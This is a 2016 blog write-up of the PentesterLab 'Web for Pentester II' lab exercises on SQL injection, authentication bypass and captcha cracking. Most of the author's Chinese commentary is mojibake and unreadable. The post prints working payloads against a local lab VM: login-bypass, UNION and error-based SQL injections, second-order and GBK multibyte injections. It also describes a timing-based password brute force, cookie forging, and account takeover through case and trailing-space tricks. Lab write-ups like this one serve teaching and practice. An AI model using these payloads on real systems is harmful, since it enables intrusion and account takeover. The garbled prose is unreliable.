LoRexxar's Blog

web_for_pentest_II writeup

2016/03/30

鍚鏂板嚭浜唚eb for pentest2锛屾濂芥病浠涔堜簨锛岄偅灏辨潵鍋氬仛鐪嬪惂鈥

SQL injections

example1

鎵撳紑鐪嬪埌鏄竴涓櫥闄嗘锛岀寽娴嬫槸娌℃湁杩囨护锛岄偅涔堝厛杈撳叆涓崟寮曞彿鍚э紝鐪嬬湅鏈夋病鏈変粈涔堣繃婊ゃ
鐪嬪埌鍥炴樉

1
Mysql2::Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' AND password=''' at line 1: SELECT * FROM users WHERE username=''' AND password=''

閭d箞鐧婚檰鍚э紝涓嶇煡閬撲负浠涔坲sername澶勬案鐪熸棤鏁堚

1
username=admin&password=123'or'1'='1

鎯崇湅鐪嬪悗鍙版槸鎬庝箞鍐欑殑锛岀粨鏋滃彂鐜板叏閮ㄩ兘鏄痳ubyweb瀹炵幇鈥

example2

灞呯劧鍙堟槸涓櫥闄嗘锛岃屼笖濂藉儚娌′粈涔堣繃婊わ紝灏辨槸杩囦笉浜嗭紝涓鑴告嚨姣旓紝鍘荤湅浜嗗悗鍙版簮鐮佸彂鐜伴渶瑕佸彧鏌ュ嚭鏉ヤ竴鏉℃暟鎹紝閭d箞绠鍗
payload:

1
username=admin&password=123'or+1+limit+1#

example3

涓鑴告嚨姣旓紝灞呯劧鍙堟槸鐧婚檰妗嗭紝绋嶅井娴嬭瘯浜嗕笅鍙戠幇鍗曞紩鍙疯杩囨护浜嗭紝閭d箞鎯虫兂鏈夋煡璇袱涓瓧娈碉紝閭d箞鍙互鐢ㄥ弽鏂滄潬

1
username=\&password=||1#

杩欐牱鍙互杞箟鎺夋湰鏉ュ寘鎷瑄sername鐨勫崟寮曞彿锛寀sername浼氬寘鎷&password=锛岀劧鍚庢瀯閫犲氨鍙互杩囦簡

example4

杩欏洖缁堜簬鏄釜鏌ヨ浜嗭紝鎵撳紑鍙戠幇鏄繖鏍风殑

1
?req=username='hacke'

閭d箞鏋勯犲彞娴嬭瘯涓嬪彂鐜板苟娌℃湁杩囨护锛岄偅涔堝紑濮嬫敞鍚

1
req=username='hacke' union select version(),user(),3

1
2
id name
5.1.66-0+squeeze1 pentesterlab@localhost

椤轰究鎵惧埌琛ㄥ悕sqlinjection_example4
鐪嬬湅琛ㄩ噷鐨勫垪鍚

1
req=username='hacke' union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example4'

鐒惰屽彧鏈users
閲岄潰鍟ヤ篃娌℃湁

1
2
3
4
5
6
id name
1 user1
2 user2
3 user3
4 user4
5 hacker

example 5

杩欏洖鏄湪limit鍚庨潰锛岀◢寰祴璇曚簡涓嬪彂鐜板暐閮芥病杩囨护锛岃鏄庝笂闈㈢殑payload鍙互鐩存帴鎷胯繃鏉ョ敤锛屾暟鎹簱鏉冮檺姣旇緝澶э紝鎵鏈夐鐩兘鑳界湅鍒

1
?limit=5 union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example5'

娌′粈涔堝彲璇寸殑

example6

杩欐鍦╣roup by鍚庨潰锛岀湅鏄繕鏄病鏈変换浣曡繃婊わ紝鎵鏈塸ayload杩樻槸涓嶅彉銆傘傘

1
group=id union select table_name,2,3 from information_schema.tables where table_schema = 'sqlinjection_example6'

example7

涓鑴告嚨姣旓紝鍥炴樉鎯充笉鏄庣櫧锛岃屼笖涓瀹氳鏌ヨ鍑烘潵user鎵嶈锛屼笉鐒朵細鎶ラ敊

1
2
3
http://192.168.157.129/sqlinjection/example7/?id=47
Should only return one user...

璇存槑涓嶆槸姝e父鐨勬敞鍏ヤ簡锛屽彂鐜版樉閿欐病鍏筹紝閭h瘯璇曟樉閿欐敞鍏ュ惂銆

1
id=12+and+1=2+UNION+SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(select+concat(0x5f,database(),0x5f,user(),0x5f,version())))a+from+information_schema.tables+group+by+a)b--

杩欎釜鏄箣鍓嶇爺绌舵椂鍊欑敤鐨勬樉閿欐敞鍏ョ殑payload锛屾嫋杩囨潵鍙戠幇鍙互鐩存帴鐢ㄣ

http://lorexxar.cn/2015/11/19/sql-error/#more

1
Mysql2::Error: Duplicate entry '1_sqlinjection_example6_pentesterlab@localhost_5.1.66-0+squeeze1' for key 'group_key': SELECT * FROM users WHERE id=12 and 1=2 UNION SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x5f,database(),0x5f,user(),0x5f,version())))a from information_schema.tables group by a)b--

涓鐩簡鐒

example8

鎵撳紑鐖嗕簡500锛岃繖鍥炵湡鐨勬槸涓鑴告嚨姣旓紝璧跺揩鍘荤湅鐪嬫簮鐮

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
get "/users/:id" do
ActiveRecord::Base.establish_connection SQLInjectionExample8.db
@user = User.find(params[:id])
if @user
begin
sql = "SELECT * FROM users WHERE username='#{@user.username}' "
@res = ActiveRecord::Base.connection.execute(sql).to_a[0]
erb :user
rescue Exception => e
@message = e.to_s
end
end
end
post '/user' do
User.create(:username => params[:user], :password => Digest::MD5.hexdigest(SEED+params["password"]+SEED))
redirect SQLInjectionExample8.path
end

瀹屽叏鐪嬩笉鎳傦紝鎵浠ヨ创涓婂畼缃戠殑瑙i噴

1
2
3
4
5
6
7
This example is vulnerable to "second order SQL injection", instead of directly injecting your payload in the request, you will first insert it in the database using a first request and then trigger the payload in a second request. The first request is not vulnerable to SQL injection, only the second is. However, you do not directly control the value used, you need to inject it using the first request. This issue comes from the fact that the developer trusted the values coming from the database.
Each attempt will need two steps:
Create a user with your payload.
Access this user information to trigger your payload.
If you want to be efficient you need to automate this process using a simple script. The payload can be as simple as a union-based exploitation.

鎼滃埌涓涓猵ayload浣嗘槸鎴戠殑鏈湴杩囦笉浜

1
2
3
http://192.168.5.40/sqlinjection/example8/
creat user name:xxxx' union select 188,9999 ,7777#
visite user

example9

绋嶅井娴嬭瘯浜嗕笅娌′粈涔堝彂鐜帮紝閿欒鏄剧ず涔熷叧浜嗭紝閭e幓鐪嬬湅鍚庡彴鍚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
get '/' do
ActiveRecord::Base.establish_connection SQLInjectionExample9.db
res = []
if params['username'] && params['password']
begin
sql= "SET CHARACTER SET 'GBK';"
ActiveRecord::Base.connection.execute(sql)
name = ActiveRecord::Base.connection.quote_string(params[:username])
password = Digest::MD5.hexdigest(SEED+ActiveRecord::Base.connection.quote_string(params[:password]+SEED))
sql = "SELECT * FROM users WHERE username='#{name}'"
sql+= " AND password='"+password+"'"
res = ActiveRecord::Base.connection.execute(sql).to_a
rescue Exception => e
@message = e.to_s
end
end
pp res
if res.size > 0
erb :index
else
erb :login
end
end

鐪嬪埌gdk灏辨湁鎯虫硶浜嗭紝搴旇鏄瀛楄妭娉ㄥ叆銆
浣嗘槸鍙紶鍏sername涓涓负%bf%27+or+1=1#浼氭姤閿欒缂栫爜搴斾负utf-8
鎵浠ayload涓

1
?username=%bf%27+or+1%3D1+%23&password=%bf%27+or+1%3D1+%23&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

Authentication

杩欎竴绫诲瀷鏄韩浠借璇佺殑bypass

example1

璁よ瘉绐楀彛寮瑰嚭鏉ユ槸璇寸敤鎴峰悕涓篴dmin锛岃鎴戠寽鐚滅湅瀵嗙爜鏄粈涔
鐒跺悗闅忔墜涓璇

1
2
username = admin
password = admin

鐒跺悗灏辫繃浜嗏6666

example2

绗簩鍏虫墦寮鏄繖鏍风殑
Username is hacker, now you need to find the password
鎶撳寘鐪嬬湅涔熸病浠涔堟兂娉曪紝鍘粀eb for pentest2鐨勫畼缃戠湅浜嗙湅锛屼粬鏄繖涔堣鐨
This example is an exagerated version of a non-time-constant string comparison vulnerability. If you compare two strings and stop at the first invalid character, a string A with the first 6 characters in common with the string B will take more time to compare than a string A鈥 with only the first 2 characters in common with the string B. You can use this information to brute force the password in this example.

璇翠簡涓澶у爢涔熸病鏈夊緢鐪嬫噦锛屽ソ鍍忔槸璇6浣嶇殑瀵嗙爜瑕佽姳寰堥暱鏃堕棿姣旇緝锛岃宎uthentication鏄愪綅姣旇緝鐨勶紝鎵浠ユ纭殑涓轰竴浣嶄綅姣旇緝涓嬪幓锛岃繖鏍峰氨浼氳姳鏇撮暱鐨勬椂闂达紝閭d箞灏卞彲浠ュ啓鑴氭湰璺戜簡鈥︼紙铏界劧鎴戣繕鏄竴鑴告嚨姣旓級

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ ruby auth-example2.rb
hacker:a -> 1.4625000953674316
hacker:b -> 1.4070789813995361
hacker:c -> 1.407270908355713
[...]
hacker:l -> 1.4061241149902344
hacker:m -> 1.4065420627593994
hacker:o -> 1.4070839881896973
hacker:p -> 1.6072182655334473
[...]
hacker:4 -> 1.4077167510986328
hacker:5 -> 1.4075558185577393
hacker:6 -> 1.40665602684021
hacker:7 -> 1.4062080383300781
hacker:8 -> 1.4082770347595215
hacker:9 -> 1.407080888748169

鏄庢樉p姣旇緝涔咃紝杩欐牱灏辩户缁窇锛屾渶鍚庡緱鍒板瘑鐮佹槸p4ss0rd

example3

鎵撳紑鏈変釜鐧婚檰妗嗭紝缁欎簡涓祴璇曡处鍙凤紝棰樼洰鏄闇瑕佺敤admin鐨勮韩浠界櫥闄嗭紝涓嶇煡閬撲负浠涔堢垎浜500鐨勯敊璇紝娌″姙娉曢偅灏变笉鍋氫簡锛岀湅鐪嬪畼鏂规枃妗

In this exercise, you can log in as user1, your goal is too get logged in as admin. To do so, you need to carefully look at the response sent back by the server.

You can see that when you log in as user1, you get a cookie named user1, from that you can easily modify this value (using a proxy or a browser鈥檚 extension) to get logged in as admin.

姣旇緝娓呮櫚锛屽ぇ姒傛槸璇碿ookie閲岄潰鏈変釜瀛楁鏄痷ser锛屼慨鏀逛负admin灏卞彲浠ヤ簡

example4

鍜屼笂棰樺樊涓嶅銆

This example is similar to the previous example. As soon as you receive a cookie from an application is always good to see what it looks like, try to crack using a password cracker or try to just Google it. From that you should be able to generate a valid cookie for the user admin.

If you get many times the same session id when logging in: there is a problem! If you log in from a clean browser, you should never get two times the same cookies.

澶ф鎰忔濇槸璇碿ookie涓嶄細鏀瑰彉锛屾剰鍛崇潃cookie涓瓨鍌ㄤ簡璐﹀彿瀵嗙爜鐨勪俊鎭紝灏卞ソ鍍忓鏋滀綘浣跨敤骞插噣鐨勬祻瑙堝櫒锛屼綘涓嶄細涓ゆ閮藉緱鍒扮浉鍚岀殑cookie锛岄櫎闈瀋ookie涓瓨鍌ㄧ潃浠涔堛

example5

鎵撳紑鏄釜鐧婚檰鐗堣繕鏈夋敞鍐屽姛鑳斤紝閭d箞绋嶅井鐚滅寽鐪嬪簲璇ユ槸涓氬姟閫昏緫婕忔礊浜
This example shows the consequence of different method of string comparison. When you create a user, the application will check programmatically that the user does not exist by comparing the username provided with the existing user. When you log in, the application will check that your username and password are correct, then it will save your username in your session. Finally, every time you will access the application, the application will retrieve your user鈥檚 details based on the username provided in the session.

The trick here comes from the fact that the comparison when you create a user is done programmaticaly (i.e.: in Ruby) but when the user鈥檚 details get retrieved, the comparison is done by the database. And by default, MySQL (with the type VARCHAR) will perform a case insensitive comparison: 鈥渁dmin鈥 and 鈥淎dmin鈥 are the same value.

Using that information, you should be able to create a user that will be identified as admin.

鐪嬭捣鏉ユ病閿欙紝鏄敞鍐岀殑鏃跺欏垽鏂病鏈夊仛澶у皬鍐欏垽鏂紝浜庢槸浜х敓浜嗘敞鍐岃鐩栵紝閭d箞娉ㄥ唽涓涓狝dmin灏卞彲浠ヨ繃浜

example6

To remediate the previous issue, the developer decided to use a case sensitive comparison during users鈥 creation. This check can also be bypassed based on the way MySQL performs string comparison: MySQL ignores trailing spaces (i.e.: pentesterlab and pentesterlab are equals). Using the same method as above, you should be able to pretend to be logged in as the user admin.

A good way to prevent this issue is to tell the database that the username is a PRIMARY KEY. This method is, for example, used in Tomcat documentation to use a SQL backend as a Realm.

涓嶇煡閬撲负浠涔堣繖绫诲瀷鐨勯鐩兘浼氭姤500锛屾病鍔炴硶锛屽彧鑳界湅瀹樻柟鏂囨。鐚滅寽鐪嬶紝鍩烘湰璇寸殑寰堟竻妤氾紝mysql浼氬拷鐣ュ熬闅忓湪瀛楃涓插悗闈㈢殑绌烘牸锛屽埄鐢ㄨ繖绉嶆柟寮忥紝灏卞彲浠ヨ繘琛屾敞鍐岃鐩栦簡锛岃繕鏄瘮杈冪畝鍗曠殑銆

captcha

杩欓噷鐨勭殑鎵鏈夐鐩兘鏄叧浜巆aptcha鐨勯獙璇佺殑锛屾湁鍚勭鍚勬牱濂囨殑captcha bypass鏂瑰紡銆

example1

绗竴棰樻墦寮鏃堕獙璇佺爜锛岃瘯浜嗚瘯娌¤寰楁湁浠涔堥棶棰橈紝閭d箞灏卞幓鐪嬬湅婧愮爜鍚э紝鐪嬪埌浜嗕竴鍙ユ湁瓒g殑鍒ゆ柇

1
2
if params[:captcha] and params[:captcha] != session[:captcha]
# ERROR: CAPTCHA is invalid redirect

杩欓噷鐪嬪埌鏈変釜captcha瀛樺湪鎬х殑鍒ゆ柇锛屾墍浠ュ鏋滃苟娌℃湁浼犲叆captcha杩欎釜鍙傛暟锛屽氨涓嶄細杩涘叆鍒ゆ柇锛屾垚鍔熺粫杩囥

example2

绗簩棰樻墦寮鍙戠幇绗竴棰樼殑娲炶繕鍦紝浣嗕及璁″簲璇ヤ笉鏄繖鏍风殑鍋氭硶锛屾煡鐪嬮〉闈㈡簮鐮佺殑鏃跺欑獊鐒跺彂鐜版湁涓殣钘忕殑answer,

1
<input type="hidden" value="KhXFGIHZIc" name="answer">

鏈夊彲鑳芥槸娴嬭瘯鐨勬椂鍊欏繕璁板垹闄ゅ鑷寸殑婕忔礊鍚р

example3

杩欏洖鍚屾牱鏄被浼间簬鐢变簬寮鍙戜汉鍛樼枏婕忓鑷寸殑闂锛岃繖娆℃墦寮鍙戠幇涔嬪墠鐨刬nput鐨勬秷澶变簡锛屼絾鏄嵈鍙戠幇cookie澶氫簡涓椤筩aptcha锛岄噷闈㈠氨鏄獙璇佺爜锛実et

example4

绗4棰樻墦寮娌℃壘鍒颁粈涔堟礊锛屽幓鐪嬬湅瀹樻柟鏂囨。鍚с

This is quite a funny example since it鈥檚 a mistake I made during the development of this set of exercises.

Here, you don鈥檛 have to really crack the captcha, you just need to crack it once and you can reuse the same value and session id to perform the same request again and again. When you try to crack a captcha, make sure that an answer can only be used once. You can easily script this exploitation by writing a script that takes a session id and a value for parameters and submit them again and again.

濂藉惂鎴戞壙璁ゆ病鏈夋悶鏄庣櫧鎬庝箞鍥炰簨鈥

example5

鎵撳紑鍙戠幇楠岃瘉鐮佹槸绫讳技浜庡崟璇嶈繖鏍风殑涓滆タ锛屼笉鏄緢鎳傦紝鍘荤湅鐪嬪畼鏂规枃妗b

This example is the last example of weakness, here the weakness comes from the dictionnary used to create the captcha, there is only a limited number of words used. You can easily write a cracker by generating a list of all words and the MD5 of the image. Then when you want to submit the form, you just need to retrieve the image, compute its MD5 and submit the matching word.

澶ф璇存垜浠緢瀹规槗閫氳繃鏋氫妇鍗曡瘝鏉ユ瘮杈冮獙璇佺爜鐨勬纭紝绫讳技浜庡急鍙d护鍚с

example6

杩欐鐨勬瘮杈冩竻鏅颁簡锛屾墦寮鏄緢寮辩殑楠岃瘉鐮侊紝鎵句竴浜涘伐鍏峰氨鍙互璇嗗埆杩欐牱鐨勫浘鐗囦簡锛屽畼鏂规枃妗f槸杩欎箞璇寸殑銆
In this example, we are going to use the OCR tool (Tesseract) to crack this easy captcha. The goal here is to build a script that will get an high success rate.

Just with a basic script using tesseract you can expect a success rate of more than 95%. You will need to use the following algorithm:

Go to the main page http://vulnerable/captcha/example6/ to get a new captcha and the cookie (rack.session).
Retrieve the image.
Run tesseract on the image and retrieve the result.
Submit the result with the correct cookie.
The following things can improved your success rate:

Only submit a value if it鈥檚 a word.
Only submit a value if it only contains of lower case characters.
Depending on the application workflow, you may want to have a really high success rate. For example, if you spend 10 minutes filling forms, you want to make sure that the captcha cracker has a high success rate. Where if it鈥檚 only to exploit a SQL injection, you can just retry until you find the right value and you don鈥檛 need to be really accurate.

浠栨帹鑽愪簡ocr tool杩欎釜宸ュ叿锛屽湪璇嗗埆鐨勬椂鍊欒繕鍙互鍔犱竴浜涗紭鍖栵紝鍓旈櫎涓浜涗笉鏄崟璇嶇殑锛屽湪鍓旈櫎涓浜涘彧鏈夊皬鍐欏瓧姣嶇殑銆

example7

鍙槸鍔犱簡涓浜涜摑鑹茬殑绾垮熀鏈槸涓嶈В鍐抽棶棰樼殑锛屽緢瀹规槗澶勭悊杩欐牱鐨勫浘鐗囥

1
2
3
4
require 'RMagick'
image = Magick::Image.read("current7.png").first
image = image.threshold(THRESHOLD)
image.write("current7.png")

鍣紝浠g爜鍙兘鏄痳uby鍐欑殑銆傘傘

example8

鍒拌繖閲屽彂鐜伴獙璇佺爜宸茬粡鍥炲埌鍘熸潵鐨勬牱瀛愪簡锛屼箣鍓嶆槸閫氳繃鍒殑婕忔礊鎼炲緱锛岀幇鍦ㄨ瘯鐫鎭㈠鍚с

1
2
3
4
5
require 'RMagick'
image = Magick::Image.read("current8.png").first
image = image.implode(IMPLODE)
image = image.threshold(THRESHOLD)
image.write("current8.png")

鍔犱笂绛涢夛紝鎴愬姛鐜囪繕鏄湁涓浜涚殑锛

example9

鎵撳紑鍙戠幇鏄畻寮忕殑楠岃瘉鐮侊紝閭d箞寰堢畝鍗曪紝python閲岀敤eval灏卞彲浠ヤ簡锛屾噿寰楀啓鑴氭湰鈥

Authorization

鐢变簬杩欓儴鍒嗗紑濮嬮暅鍍忚宕╀簡锛屽熀鏈紑浠涔堥兘鎶500锛屾棤濂堜笅鍙兘鏀惧純浜嗭紝涓嶈繃浠庡畼鏂圭殑鏂囨。涓繕鏄兘鑾峰緱寰堝涓滆タ銆

https://pentesterlab.com/exercises/web_for_pentester_II/course
鏈夋椂鍊欎細鎵撲笉寮锛屼絾濂藉儚涓嶆槸鍥犱负gfw鐨勫師鍥犮

CATALOG
  1. 1. SQL injections
    1. 1.1. example1
    2. 1.2. example2
    3. 1.3. example3
    4. 1.4. example4
    5. 1.5. example 5
    6. 1.6. example6
    7. 1.7. example7
    8. 1.8. example8
    9. 1.9. example9
  2. 2. Authentication
    1. 2.1. example1
    2. 2.2. example2
    3. 2.3. example3
    4. 2.4. example4
    5. 2.5. example5
    6. 2.6. example6
  3. 3. captcha
    1. 3.1. example1
    2. 3.2. example2
    3. 3.3. example3
    4. 3.4. example4
    5. 3.5. example5
    6. 3.6. example6
    7. 3.7. example7
    8. 3.8. example8
    9. 3.9. example9
  4. 4. Authorization